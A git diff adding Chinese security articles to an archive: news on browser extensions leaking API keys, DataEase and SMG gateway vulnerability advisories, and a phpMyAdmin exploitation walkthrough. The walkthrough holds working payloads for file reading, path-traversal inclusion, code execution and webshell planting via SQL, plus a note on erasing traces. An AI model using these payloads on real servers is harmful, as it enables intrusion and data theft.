lgbjhdkjmpgjgcbcdlhkokkckpjmedgc）：向“stats.itopupdate[.]com”发送含扩展版本、浏览器语言等信息的HTTP请求 + + +研究人员特别指出：“密码管理器使用未加密请求传输遥测数据，严重削弱用户对其安全性的信任。” + + +**硬编码密钥风险扩展** + +****- **Online Security & Privacy** +（ID: gomekmidlodglbbmalcneegieacbdmki）、**AVG Online Security** +（ID: nbmoafcmbajniiapeidgficgifbfmjfo）等：暴露Google Analytics 4密钥，攻击者可伪造数据推高分析成本 + +- **Equatio数学工具** +（ID: hjngolefdpdnooamgdldlkjgmdcmcjnc）：嵌入Azure语音识别API密钥，可能导致开发者服务费用激增 + +- **Awesome截屏工具** +（ID: nlipoenfbbikpbjkfpfillcgkoblgpmj）等：泄露AWS S3访问密钥，攻击者可非法上传文件 + +- **Microsoft Editor编辑器** +（ID: gpaiobkfhnonedkhhfjpmhdalgeoebfa）：暴露遥测密钥“StatsApiKey” + +- **Antidote Connector** +（ID: lmbopdiikkamfphhgcckcjhojnokgfeo）：第三方库InboxSDK含硬编码API密钥（影响超90款扩展） + +- **Trust Wallet钱包** +（ID: egjidjbpglichdcondbcbdnbeeppgdph）：泄露法币通道API密钥，可伪造加密货币交易 + +攻击者利用这些密钥可能造成API服务费用暴涨、托管非法内容、伪造遥测数据等后果，甚至导致开发者账户被封禁。 + + +研究人员强调：“从GA4密钥到Azure语音密钥，这些案例证明几行代码足以危及整个服务。核心解决方案是永远不要在客户端存储敏感凭证。”开发者应采取三项关键措施： +1. 全面启用HTTPS数据传输 + +1. 通过凭证管理服务在后端服务器安全存储密钥 + +1. 定期轮换密钥以降低风险 + + +赛门铁克警告用户：“此类风险绝非理论假设——未加密流量极易被截获，数据可能用于用户画像分析、钓鱼攻击等定向攻击。建议立即卸载存在不安全调用的扩展程序，直至开发者完成修复。”该事件揭示关键教训：**安装量或品牌知名度无法等同于安全实践水平，用户需严格审查扩展程序的协议类型与数据共享行为。** + + +  END   + + +阅读推荐 + + +[【安全圈】阿里云 aliyuncs.com 域名故障导致全国网站访问异常](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652070040&idx=1&sn=2607d571d2383520da9725b92d2c9691&scene=21#wechat_redirect) + + + +[【安全圈】智能车配“弱密码”？汽车行业数字安全仍靠“123456”](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652070040&idx=2&sn=8904aae2ff9e441f73a8a7b245343346&scene=21#wechat_redirect) + + + +[【安全圈】黑吃黑！Sakura RAT 事件揭示黑客如何反过来“猎杀”黑客](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652070040&idx=3&sn=6f39cd3deaa334ac8f086297d9638069&scene=21#wechat_redirect) + + + +[【安全圈】暗网惊现近940亿被盗Cookie，15.6亿仍活跃，用户隐私岌岌可危](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652070040&idx=4&sn=fcf135aec1bd656b6d4b0c94bf5356b5&scene=21#wechat_redirect) + + + + +![](https://mmbiz.qpic.cn/mmbiz_gif/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCEft6M27yliapIdNjlcdMaZ4UR4XxnQprGlCg8NH2Hz5Oib5aPIOiaqUicDQ/640?wx_fmt=gif "") + + + +![](https://mmbiz.qpic.cn/mmbiz_png/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCEDQIyPYpjfp0XDaaKjeaU6YdFae1iagIvFmFb4djeiahnUy2jBnxkMbaw/640?wx_fmt=png "") + +**安全圈** + +![](https://mmbiz.qpic.cn/mmbiz_gif/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCEft6M27yliapIdNjlcdMaZ4UR4XxnQprGlCg8NH2Hz5Oib5aPIOiaqUicDQ/640?wx_fmt=gif "") + + +←扫码关注我们 + +**网罗圈内热点 专注网络安全** + +**实时资讯一手掌握！** + + +![](https://mmbiz.qpic.cn/mmbiz_gif/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCE3vpzhuku5s1qibibQjHnY68iciaIGB4zYw1Zbl05GQ3H4hadeLdBpQ9wEA/640?wx_fmt=gif "") + +**好看你就分享 有用就点个赞** + +**支持「****安全圈」就点个三连吧！** + +![](https://mmbiz.qpic.cn/mmbiz_gif/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCE3vpzhuku5s1qibibQjHnY68iciaIGB4zYw1Zbl05GQ3H4hadeLdBpQ9wEA/640?wx_fmt=gif "") + + diff --git a/doc/2025-06/【已复现】Dataease JWT 认证绕过漏洞∕远程代码执行（CVE-2025-49001∕CVE-2025-49002）.md b/doc/2025-06/【已复现】Dataease JWT 认证绕过漏洞∕远程代码执行（CVE-2025-49001∕CVE-2025-49002）.md new file mode 100644 index 00000000..aeae3f9c --- /dev/null +++ b/doc/2025-06/【已复现】Dataease JWT 认证绕过漏洞∕远程代码执行（CVE-2025-49001∕CVE-2025-49002）.md @@ -0,0 +1,85 @@ +# 【已复现】Dataease JWT 认证绕过漏洞/远程代码执行（CVE-2025-49001/CVE-2025-49002） +原创 安全探索者 安全探索者 2025-06-07 09:03 + +↑点击关注，获取更多漏洞预警，技术分享 + +0x01 组件介绍 + +  DataEase 是一款开源的数据分析平台，提供丰富的数据可视化和分析功能，帮助用户轻松地进行数据探索和决策支持。 + +搜索语句： + title=="DataEase" + + +0x02 漏洞描述 + +   近日， +DataEase官方修复了两个漏洞， +DataEase 远程代码执行漏洞(CVE-2025-49001、CVE-2025-49002)，CVE-2025-49001 是由于JWT校验机制错误导致攻击者可伪造JWT令牌绕过身份验证流程，CVE-2025-49002 是由于 +H2数据库 +模块没有严格过滤用户输入的JDBC连接参数，可使用大小写绕过补丁。攻击者可利用这些漏洞实现未授权代码执行，威胁用户数据和系统的安全。 + +
漏洞分类
认证绕过漏洞/远程代码执行
CVSS 3.1分数
9.8
漏洞等级
严重
POC/EXP
 已公开
可利用性
高
+ +0x03 影响版本 + +DataEase <= 2.10.8 +
+ +0x04 漏洞验证 + +目前POC/EXP已经公开（ +后台留言： +CVE-2025-49001 +，获取测试POC +） + +概念性验证： + +发送数据包，出现下面的即可证明漏洞存在 + + +朝指定接口发送jwt认证信息，查看响应，是否为400，且响应中存在 + +java.lang.NullPointerException的字样 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/pl2czC0m3er21kZ4k6nFZQgfcMc2jLdqrh2TbOXKq2yTf4A2YycnxHZuxicFbu7JQRb4pzmFOrxP4wUMViah3ChA/640?wx_fmt=png&from=appmsg "") + +如果jwt信息错误，则会返回500,并返回没有接口的错误 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/pl2czC0m3er21kZ4k6nFZQgfcMc2jLdqenia9KQjqLVZgKbVooRmwVZq4ia3ialIFS2jUPDawHoumVHF6CqTQNctQ/640?wx_fmt=png&from=appmsg "") + + +0x05 漏洞影响 + +由于该漏洞影响范围较广，危害较大。通过以上复现过程，我们可以知道该漏洞的利用过程比较简单， +且能造成的危害是严重的，可以执行任意代码。企业应该尽快排查是否有使用该组件，并尽快做出对应措施 + + +0x06 修复建议 + +更新至最新安全版本，目前官方已有可更新版本DataEase >= 2.10.10 + +官方补丁下载地址： + +https://github.com/dataease/dataease/releases/tag/v2.10.10 + +0X07 参考链接 + +https://github.com/dataease/dataease/security/advisories/GHSA-xx2m-gmwg-mf3r + +https://github.com/dataease/dataease/security/advisories/GHSA-999m-jv2p-5h34 + + +0x08 免责声明 + +> 本文所涉及的任何技术、信息或工具，仅供学习和参考之用。 + +> 请勿利用本文提供的信息从事任何违法活动或不当行为。任何因使用本文所提供的信息或工具而导致的损失、后果或不良影响，均由使用者个人承担责任，与本文作者无关。 + +> 作者不对任何因使用本文信息或工具而产生的损失或后果承担任何责任。使用本文所提供的信息或工具即视为同意本免责声明，并承诺遵守相关法律法规和道德规范。 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/pl2czC0m3er21kZ4k6nFZQgfcMc2jLdqRibqkXdJvDl8icqf3LuRDrHsAIJPcHonQPgXzLKicyOmfNxWqIvqYn9AQ/640?wx_fmt=png&from=appmsg "") + + diff --git a/doc/2025-06/【攻防实战】phpmyadmin-RCE集锦.md b/doc/2025-06/【攻防实战】phpmyadmin-RCE集锦.md new file mode 100644 index 00000000..0cef9731 --- /dev/null +++ b/doc/2025-06/【攻防实战】phpmyadmin-RCE集锦.md @@ -0,0 +1,202 @@ +# 【攻防实战】phpmyadmin-RCE集锦 +原创 平凡安全 平凡安全 2025-06-07 12:00 + +## 「phpmyadmin反序列化漏洞」 +### 「漏洞描述」 + +phpmyadmin 2.x版本中存在一处反序列化漏洞，通过该漏洞，攻击者可以读取任意文件或执行任意代码。 +### 「影响范围」 + +2.x +### 「实战过程」 + +访问 +``` +http://x.x.x + +``` + +![](https://mmbiz.qpic.cn/mmbiz_png/v94hWOZcBpyCgzPtoL0dslz4iaHpdiaK7YY73ZNed4ZAOuC1TGFWGRrWQ2fraeo0icJyvqzuoGKsfZTdAr9QEVucw/640?wx_fmt=png&from=appmsg "") + +抓包，修改发送如下数据包，即可读取/etc/passwd： +``` +POST /scripts/setup.php HTTP/1.1 + + +action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";} + +``` + +漏洞证明： + +![](https://mmbiz.qpic.cn/mmbiz_png/v94hWOZcBpyCgzPtoL0dslz4iaHpdiaK7YN6S6X11lCTOBqWq4U0yiapNz4aDH8kkeZFTnxQJaWHIOmzwZ6WhyUUw/640?wx_fmt=png&from=appmsg "") +## 「phpmyadmin远程代码执行漏洞」 +### 「漏洞描述」 + +phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。在其查找并替换字符串功能中，将用户输入的信息拼接进preg_replace函数第一个参数中。 + +在PHP5.4.7以前，preg_replace的第一个参数可以利用\0进行截断，并将正则模式修改为e。众所周知，e模式的正则支持执行代码，此时将可构造一个任意代码执行漏洞。 +### 「影响范围」 + +4.0.10.16之前4.0.x版本 + +4.4.15.7之前4.4.x版本 + +4.6.3之前4.6.x版本（实际上由于该版本要求PHP5.5+，所以无法复现本漏洞） +### 「实战过程」 + +访问该页面，存在弱口令 +``` +http://x.x.x + +``` + +![](https://mmbiz.qpic.cn/mmbiz_png/v94hWOZcBpyCgzPtoL0dslz4iaHpdiaK7YarbiabC78D4DcwpgQftl7880OEwP2AYzpaL52gsLa09xhbZTIMTSZlA/640?wx_fmt=png&from=appmsg "") + +爆破进入后发现该php版本以及phpmyadmin版本信息，该版本存在远程命令执行漏洞。 + +![](https://mmbiz.qpic.cn/mmbiz_png/v94hWOZcBpyCgzPtoL0dslz4iaHpdiaK7YP5dMPJBszhLAOI6gEsTotT6YHU7hTgPn40E45OiamUlvfjbgVFaRjNw/640?wx_fmt=png&from=appmsg "") + +使用exp利用此漏洞： + +-u是用户 -p是密码，-d是可以写入的数据库，没有就新建一个。-c是待执行的PHP语句，如果没有指定表名，这个POC会创建一个名为prgpwn的表。 +``` +python3 xxx.py http://x.x.x/ -u xxx -p xxx -d test -c "system('id');" + +``` + +![](https://mmbiz.qpic.cn/mmbiz_png/v94hWOZcBpyCgzPtoL0dslz4iaHpdiaK7YHuUBBr1CI8vFXcZxe30XI8n16M07Ric653Fkb5ehpRX7WVythSpk5dg/640?wx_fmt=png&from=appmsg "") + +成功执行命令，并且在test数据库下创建了一个名为prgpwn的表 + +![](https://mmbiz.qpic.cn/mmbiz_png/v94hWOZcBpyCgzPtoL0dslz4iaHpdiaK7YaTic5tGdwiaOa2Ch3U9uBB0Arib4DqDGmS0Obwq3ib6XwOXc7YFzrY9Wgw/640?wx_fmt=png&from=appmsg "") +## 「phpmyadmin远程文件包含漏洞」 +### 「漏洞简介」 + +phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑，通过二次编码即可绕过检查，造成远程文件包含漏洞。 +### 「漏洞实战」 + +访问url，即可进入phpmyadmin。配置的是“config”模式，所以无需输入密码，直接登录test账户。 +``` +http://x.x.x + +``` + +![](https://mmbiz.qpic.cn/mmbiz_png/v94hWOZcBpyCgzPtoL0dslz4iaHpdiaK7YFrX7nrl1w9JOTAFahZdtzR2r9dicVhuKIbvyP1uSU9gomfWZvypMwDg/640?wx_fmt=png&from=appmsg "") + +构造任意文件读取的payload并进行访问： +``` +http://x.x.x/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd + +``` + +可见/etc/passwd被读取，说明文件包含漏洞存在： + +![](https://mmbiz.qpic.cn/mmbiz_png/v94hWOZcBpyCgzPtoL0dslz4iaHpdiaK7Y1jyUUvslaQiaR2jZDqzdzOiaoF8sj6wzaicyqf9h94exXoaw98yIem6Ug/640?wx_fmt=png&from=appmsg "") + +利用方式也比较简单，访问SQL语句的执行页面，可以执行一下 +``` +SELECT ' + +``` + +然后查看自己的sessionid（cookie中phpMyAdmin的值），然后包含session文件即可。 + +访问SQL语句的执行页面： + +执行一下 +``` +SELECT ' + +``` + +![](https://mmbiz.qpic.cn/mmbiz_png/v94hWOZcBpyCgzPtoL0dslz4iaHpdiaK7Yda9ibvhiaP7YFV25FXmjCpScEscibovd2II1YrAAUbq1XicDxwLkZZn20A/640?wx_fmt=png&from=appmsg "") + +然后查看自己的sessionid（cookie中phpMyAdmin的值） + +![](https://mmbiz.qpic.cn/mmbiz_png/v94hWOZcBpyCgzPtoL0dslz4iaHpdiaK7YJXglu5u8rvruAibjOcfaDsGym2icibpb1qyqgQ0ZP3FbZGibUpLKCBSVBw/640?wx_fmt=png&from=appmsg "") + +然后包含session文件： +``` +http://x.x.x/?target=tbl_zoom_select.php?/../../../../../../tmp/sess_xxxxx...   + +``` + +成功包含phpinfo页面： + +![](https://mmbiz.qpic.cn/mmbiz_png/v94hWOZcBpyCgzPtoL0dslz4iaHpdiaK7YaswQryw80ibQJ9iaBsicwJrgLql57MhxqygIjOaUiaeMclz5G242QgTopA/640?wx_fmt=png&from=appmsg "") +## 「select into outfile写入webshell」 + +首先查看查看secure_file_priv值 +``` +show global variables like '%secure%'; + +``` + +secure_file_priv的值如图所示 + +![](https://mmbiz.qpic.cn/mmbiz_png/v94hWOZcBpyCgzPtoL0dslz4iaHpdiaK7YdLQObk8a5Jt5picZib79K2y3Rf4bKaribzZsysMfbbsUIHRqDqlOBMl8Q/640?wx_fmt=png&from=appmsg "") + +写入一句话 +``` +select 'xxx' INTO OUTFILE 'xxx.php' + +``` + +这里需要注意的一个点是路径需要用”\“ + +![](https://mmbiz.qpic.cn/mmbiz_png/v94hWOZcBpyCgzPtoL0dslz4iaHpdiaK7YGzRt3xx0YGFOicfNlibvB0OK5gIj6DOsZGicvpCOZ0vicfdp5DMON6RAvQ/640?wx_fmt=png&from=appmsg "") + +成功连接webshell + +![](https://mmbiz.qpic.cn/mmbiz_png/v94hWOZcBpyCgzPtoL0dslz4iaHpdiaK7Y3INgh6eBxBXw3JqvOjAaKgleZqRspuvwEOe7U14rVxpLGQvDDmAmPA/640?wx_fmt=png&from=appmsg "") +## 「phpmyadmin日志写入webshell」 + +先查看general log是否开启 +``` +show variables like '%general%'; + +``` + +打开general_log日志读写功能 + +![](https://mmbiz.qpic.cn/mmbiz_png/v94hWOZcBpyCgzPtoL0dslz4iaHpdiaK7YVT858jFLMicicxdn0H4ElcyNYam0cibaj1tytqLjPJN594hvzTsQHDaSw/640?wx_fmt=png&from=appmsg "") + +制作一个木马文件，要根据图中general_log_file中的绝对路径 +``` +SET GLOBAL general_log_file='xxx.php' + +``` + +![](https://mmbiz.qpic.cn/mmbiz_png/v94hWOZcBpyCgzPtoL0dslz4iaHpdiaK7Yic9mrvSbXNDyvoRmuOfdfPLjkewz4D0hpZuYmibica9baqmRia43ejVvHg/640?wx_fmt=png&from=appmsg "") + +往这个木马文件中写入一句话 +``` +SELECT 'xxx' + +``` + +![](https://mmbiz.qpic.cn/mmbiz_png/v94hWOZcBpyCgzPtoL0dslz4iaHpdiaK7YCCqhvXqpsdv0Nibnibbdg99Ayv3nrWkicdFRlpEGb6pPYgBCrPygy3U4g/640?wx_fmt=png&from=appmsg "") + +使用phpinfo验证 + +利用过程 + +![](https://mmbiz.qpic.cn/mmbiz_png/v94hWOZcBpyCgzPtoL0dslz4iaHpdiaK7Ytxw0ic6FmOVKHwhvdicRYXkGZb0kHqXXB4vOKL2zNZKm2K3Io9tp3lsg/640?wx_fmt=png&from=appmsg "") + +蚁剑连接 + +![](https://mmbiz.qpic.cn/mmbiz_png/v94hWOZcBpyCgzPtoL0dslz4iaHpdiaK7Ybeu64tov7xSia7x3ja3WkvX93rx7Zgqgm3KxGsuatNAQqp7e5x4oGBw/640?wx_fmt=png&from=appmsg "") + +最后抹除痕迹 +## 「攻防交流群」 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/v94hWOZcBpyCgzPtoL0dslz4iaHpdiaK7YCkw3RrjtwetaaGricxewahXSh6fTicyOT3GBicHzPnhL1iay7stibtCiaE0g/640?wx_fmt=jpeg&from=appmsg "") +## 「声明」 + +文笔生疏，措辞浅薄，敬请各位大佬不吝赐教，万分感谢。 + +免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。 + +转载声明：儒道易行 拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。 + diff --git a/doc/2025-06/杭州新威数字信息-SMG网关管理软件 9-12ping.php 命令执行漏洞 (CVE-2025-1448).md b/doc/2025-06/杭州新威数字信息-SMG网关管理软件 9-12ping.php 命令执行漏洞 (CVE-2025-1448).md new file mode 100644 index 00000000..778f4571 --- /dev/null +++ b/doc/2025-06/杭州新威数字信息-SMG网关管理软件 9-12ping.php 命令执行漏洞 (CVE-2025-1448).md @@ -0,0 +1,112 @@ +# 杭州新威数字信息-SMG网关管理软件 9-12ping.php 命令执行漏洞 (CVE-2025-1448) +Superhero Nday Poc 2025-06-07 09:15 + +![图片](https://mmbiz.qpic.cn/mmbiz_png/Melo944GVOJECe5vg2C5YWgpyo1D5bCkYN4sZibCVo6EFo0N9b7Kib4I4N6j6Y10tynLOdgov9ibUmaNwW5yeoCbQ/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +![图片](https://mmbiz.qpic.cn/mmbiz_png/Melo944GVOJECe5vg2C5YWgpyo1D5bCkhic5lbbPcpxTLtLccZ04WhwDotW7g2b3zBgZeS5uvFH4dxf0tj0Rutw/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +![图片](https://mmbiz.qpic.cn/mmbiz_png/Melo944GVOJECe5vg2C5YWgpyo1D5bCk524CiapZejYicic1Hf8LPt8qR893A3IP38J3NMmskDZjyqNkShewpibEfA/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +内容仅用于学习交流自查使用，由于传播、利用本公众号所提供的 +POC +信息及 +POC对应脚本 +而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号Nday Poc及作者不为此承担任何责任，一旦造成后果请自行承担！ + + +**01** + +**漏洞概述** + + +杭州新威数字信息-SMG网关管理软件 9-12ping.php 接口存在远程命令执行漏洞。攻击者可以通过漏洞执行任意命令从而获取服务器权限，可能导致内网进一步被攻击。 + +**02****** + +**搜索引擎** + + +FOFA: +``` +body="text ml10 mr20" && (title="网关管理软件" || title="Gateway Management")title="Expedition Project" +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/wnJTy44dqwJ9KoWn60yvVmlricXelIHlG0J046VgvdSZ3KOw6Pq9bAVqN4iaaJkoOR17icaNgVPjhxA3t0Pr7E8Bw/640?wx_fmt=png&from=appmsg "") + + +**03****** + +**漏洞复现** + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/wnJTy44dqwJ9KoWn60yvVmlricXelIHlGa8IqBP3fjRL0QtQv0pzcKAr04e2biapPJgUzxdfrT7xZLDhFLeBZic1A/640?wx_fmt=png&from=appmsg "") + + +**04** + +**自查工具** + + +nuclei + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/wnJTy44dqwJ9KoWn60yvVmlricXelIHlGOowgDtTHTZEEpxEGXLqiav4y0dsOEqOadSJhLFI9BVJmgqFsFsJMwtA/640?wx_fmt=png&from=appmsg "") + +afrog + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/wnJTy44dqwJ9KoWn60yvVmlricXelIHlGFL27CZ4qYcplGicIIgEXqsYUA70VYFPZZXP9nBoU5wo2Hc6PNnLQY8g/640?wx_fmt=png&from=appmsg "") + +xray + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/wnJTy44dqwJ9KoWn60yvVmlricXelIHlGFzea3DQNJU61Sz0icAKGKho2ibcyiam41XwXEvKIukLEtvyNLvicalicYrg/640?wx_fmt=png&from=appmsg "") + + +**05****** + +**修复建议** + + +1、关闭互联网暴露面或接口设置访问权限 + +2、 +升级至安全版本 + + +**06****** + +**内部圈子介绍** + + +【Nday漏洞实战圈】🛠️  + +专注公开1day/Nday漏洞复现 + · 工具链适配支持 + + ✧━━━━━━━━━━━━━━━━✧  + +🔍 资源内容 + + ▫️ 整合全网公开 +1day/Nday +漏洞POC详情 + + ▫️ 适配Xray/Afrog/Nuclei检测脚本 + + ▫️ 支持内置与自定义POC目录混合扫描  + +🔄 更新计划  + +▫️ 每周新增7-10个实用POC（来源公开平台）  + +▫️ 所有脚本经过基础测试，降低调试成本  + +🎯 适用场景  + +▫️ 企业漏洞自查 ▫️ 渗透测试 ▫️ 红蓝对抗  +▫️ 安全运维 + +✧━━━━━━━━━━━━━━━━✧  + +⚠️ 声明：仅限合法授权测试，严禁违规使用！ + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/wnJTy44dqwI0beBCCyKGykkAazuPyvibgC0ooBGy9elQQ72f1WIB73UDYuPhx8cnCobvnOBdTcxmdwBbt2eAYIQ/640?wx_fmt=png&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +